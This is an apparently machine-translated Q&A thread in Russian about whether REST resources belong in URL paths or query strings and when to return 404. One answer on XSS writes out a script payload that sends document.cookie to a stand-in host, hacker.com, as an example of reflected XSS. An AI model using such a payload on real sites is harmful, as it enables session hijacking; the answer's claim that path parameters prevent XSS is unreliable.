Строка запроса в URL ресурса REST

Сегодня у меня была дискуссия с коллегой по использованию строк запроса в URL-адресах REST. Возьмите эти 2 примера:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Моя позиция состояла в том, что URL должны быть разработаны как в примере 1. Это чище, и я думаю, что это правильно в REST. На мой взгляд, было бы совершенно правильно вернуть ошибку 404 из примера 1, если код продукта не существует, тогда как в примере 2 возврат 404 будет неправильным, поскольку страница должна существовать. Его позиция была в том, что это не имело значения, и что они оба делают одно и то же.

Поскольку ни один из нас не смог найти конкретных доказательств (по общему признанию, мой поиск не был обширным), я хотел бы узнать мнение других людей по этому поводу.

10 ответов

Решение

В типичных REST API пример № 1 является более правильным. Ресурсы представлены как URI, и #1 делает это больше. Возврат 404, когда код продукта не найден, является абсолютно правильным поведением. Сказав это, я бы немного изменил #1, чтобы быть немного более выразительным, как это:

http://localhost/products/code/4xheaua

Посмотрите на другие хорошо разработанные REST API - например, на Stackru. У тебя есть:

stackru.com/questions
stackru.com/questions/tagged/rest
stackru.com/questions/3821663

Это все разные способы решения "вопросов".

Нет никакой разницы между двумя URI с точки зрения клиента. URI непрозрачны для клиента. Используйте любые более четкие карты в вашей серверной инфраструктуре.

Что касается REST, то здесь нет абсолютно никакой разницы. Я считаю, что причина, по которой так много людей считают, что ресурс определяет только компонент пути, заключается в следующей строке в RFC 2396.

Компонент запроса - это строка информации, которая должна интерпретироваться ресурсом.

Эта строка была позже изменена в RFC 3986:

Компонент запроса содержит неиерархические данные, которые наряду с данными в компоненте пути (раздел 3.3) служат для идентификации ресурса.

IMHO это означает, что и строка запроса, и сегмент пути являются функционально эквивалентными, когда дело доходит до идентификации ресурса.


Обновление с учетом комментария Стива.

Простите, если я возражаю против прилагательного "уборщик". Это просто слишком субъективно. Вы, правда, имеете в виду, что я пропустил значительную часть вопроса.

Я думаю, что ответ на вопрос, возвращать ли 404, зависит от того, какой ресурс извлекается. Это представление результатов поиска, или это представление продукта? Чтобы узнать это, вам действительно нужно взглянуть на связь, которая привела нас к URL.

Если предполагается, что URL возвращает представление Product, тогда 404 должен быть возвращен, если код не существует. Если URL возвращает результат поиска, он не должен возвращать 404.

Конечным результатом является то, что то, как выглядит URL, не является определяющим фактором. При этом принято, что строки запроса используются для возврата результатов поиска, поэтому более интуитивно понятно использовать этот стиль URL, если вы не хотите возвращать 404-е.

Есть два варианта использования для GET

  1. Получить уникально идентифицированный ресурс
  2. Поиск ресурса (ов) по заданным критериям

Пример использования 1:

/ Продукты /4xxheua
Получить уникально идентифицированный продукт, возвращает 404, если не найден.

Пример использования 2:

/ Продукты? Размер = большой и цвет = красный
Поиск товара, возвращает список подходящих товаров (от 0 до многих).

Если мы посмотрим, скажем, API Карт Google, мы увидим, что они используют строку запроса для поиска.

например, http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Таким образом, оба стиля действительны для их собственных вариантов использования.

IMO компонент пути всегда должен указывать, что вы хотите получить. URL, такой как http://localhost/findbyproductcode говорит только о том, что я хочу получить что-то по коду продукта, но что именно?

Таким образом, вы получаете контакты с http://localhost/contacts и пользователи с http://localhost/users. Строка запроса используется только для получения подмножества такого списка на основе атрибутов ресурса. Единственное исключение - когда это подмножество уменьшается до одной записи на основе первичного ключа, тогда вы используете что-то вроде http://localhost/contact/[primary_key].

Это мой подход, ваш пробег может отличаться:)

По моему мнению, путь URI определяет ресурс, а необязательные строки запросов предоставляют пользовательскую информацию. Так

https://domain.com/products/42

идентифицирует конкретный продукт, в то время как

https://domain.com/products?price=under+5

может искать товары под 5 $.

Я не согласен с теми, кто сказал, что использование строк запросов для идентификации ресурса согласуется с REST. Большая часть REST - это создание API, который имитирует статическую иерархическую файловую систему (без буквальной необходимости в такой системе на бэкэнде)- это делает его интуитивно понятным, семантическим идентификатором ресурса. Строки запроса нарушают эту иерархию. Например, часы - это аксессуар, в котором есть аксессуары. В стиле REST довольно ясно, что

 https://domain.com/accessories/watches

а также

https://domain.com/watches/accessories

каждый относится к. С помощью строк запроса,

 https://domain.com?product=watches&category=accessories

не очень понятно.

По крайней мере, стиль REST лучше, чем строки запросов, потому что он требует примерно вдвое меньше информации, поскольку строгий порядок параметров позволяет нам отбрасывать имена параметров.

Этот вопрос посвящен тому, что является более чистым подходом. Но я хочу сосредоточиться на другом аспекте, называемом безопасностью. Начав интенсивно работать над безопасностью приложений, я обнаружил, что отраженную атаку XSS можно успешно предотвратить, используя PathParams (приблизительно 1) вместо QueryParams (подход 2).

(Конечно, обязательным условием отраженной атаки XSS является то, что злонамеренный пользовательский ввод отражается обратно в html-источнике для клиента. К сожалению, некоторые приложения будут делать это, и именно поэтому PathParams может предотвратить атаки XSS)

Причина этого заключается в том, что полезная нагрузка XSS в сочетании с PathParams приведет к неизвестному, неопределенному пути URL из-за косой черты в самой полезной нагрузке.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Принимая во внимание, что эта атака будет успешной при использовании QueryParam !

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Окончание этих двух URI не очень значимо.

Тем не менее, часть 'findbyproductcode' может быть более спокойной. Почему бы просто не http://localhost/product/4xxheau?

По моему ограниченному опыту, если у вас есть уникальный идентификатор, тогда было бы просто создать такой URI как.../product/{id}. Однако, если код продукта не является уникальным, я мог бы сделать его более похожим на #2.

Однако, как заметил Даррел, клиенту должно быть все равно, как выглядит URI.

Для клиента REST структура URI не имеет значения, поскольку она следует ссылкам, аннотированным семантикой, и никогда не анализирует URI.

Разработчик, который пишет логику маршрутизации и логику генерации ссылок и, вероятно, хочет понять журнал, проверив URL-адреса, имеет значение структура URI. С помощью REST мы сопоставляем URI с ресурсами, а не с операциями - Защита диссертации / унифицированный интерфейс / идентификация ресурсов.

Таким образом, обе структуры URI, вероятно, имеют недостатки, потому что они содержат глаголы в их текущем формате.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Вы можете удалить find из URI таким образом:

1. /products/code:4xxheua
2. /products?code="4xxheua"

С точки зрения ОТДЫХА не имеет значения, какой из них вы выберете.

Вы можете определить свое собственное соглашение об именах, например: "сводя коллекцию к одному ресурсу с использованием уникального идентификатора, уникальный идентификатор всегда должен быть частью пути, а не запроса". Это то же самое, что и стандарт URI: путь иерархический, запрос неиерархический. Так что я бы использовал /products/code:4xxheua,

Строка запроса неизбежна во многих практических смыслах.... Подумайте, что произойдет, если поиск разрешит множественные (необязательные) поля для всех указанных. В первой форме их позиции в иерархии должны быть фиксированными и дополненными...

Представьте себе кодирование общего SQL-выражения "where" в этом формате.... Однако в качестве строки запроса это довольно просто.

С философской точки зрения, страницы не "существуют". Когда вы кладете книги или бумаги на книжную полку, они остаются там. У них есть отдельное существование на этой полке. Однако страница существует только в том случае, если она размещена на каком-либо компьютере, который включен и может предоставить ее по требованию. Эта страница, конечно, всегда может быть сгенерирована на лету, поэтому она не требует особого существования до вашего запроса.

Теперь подумайте об этом с точки зрения сервера. Давайте предположим, что это, скажем, правильно настроенный Apache, а не однострочный сервер Python, просто отображающий все запросы в файловую систему. Тогда конкретный путь, указанный в URL-адресе, может не иметь ничего общего с расположением конкретного файла в файловой системе. Итак, еще раз, страница не "существует" в каком-либо явном смысле. Возможно, вы запросите http://some.url/products/intel.htmlи вы получите страницу; тогда вы просите http://some.url/products/bigmac.htmlи ты ничего не видишь. Это не значит, что есть один файл, а другой нет. Возможно, у вас нет прав доступа к другому файлу, поэтому сервер возвращает 404 или, возможно, bigmac.html должен был обслуживаться с удаленного сервера Mc'Donalds, который временно недоступен.

Я пытаюсь объяснить, что 404 это просто число. В этом нет ничего особенного: это могло быть 40404 или же -2349.23847мы только что согласились использовать 404, Это означает, что сервер есть, он общается с вами, он, вероятно, понял, что вы хотели, и ему нечего вам вернуть. Если вы считаете целесообразным вернуться 404 за http://some.url/products/bigmac.html когда сервер решает не предоставлять файл по какой-либо причине, вы можете согласиться на возврат 404 за http://some.url/products?id=bigmac,

Теперь, если вы хотите быть полезными для пользователей с браузером, которые пытаются вручную редактировать URL-адрес, вы можете перенаправить их на страницу со списком всех продуктов и некоторыми возможностями поиска вместо того, чтобы просто дать им 404 --- или вы можете дать 404 как код и ссылка на все товары. Но тогда вы можете сделать то же самое с http://some.url/products/bigmac.html: автоматически перенаправить на страницу со всеми продуктами.

Другие вопросы по тегам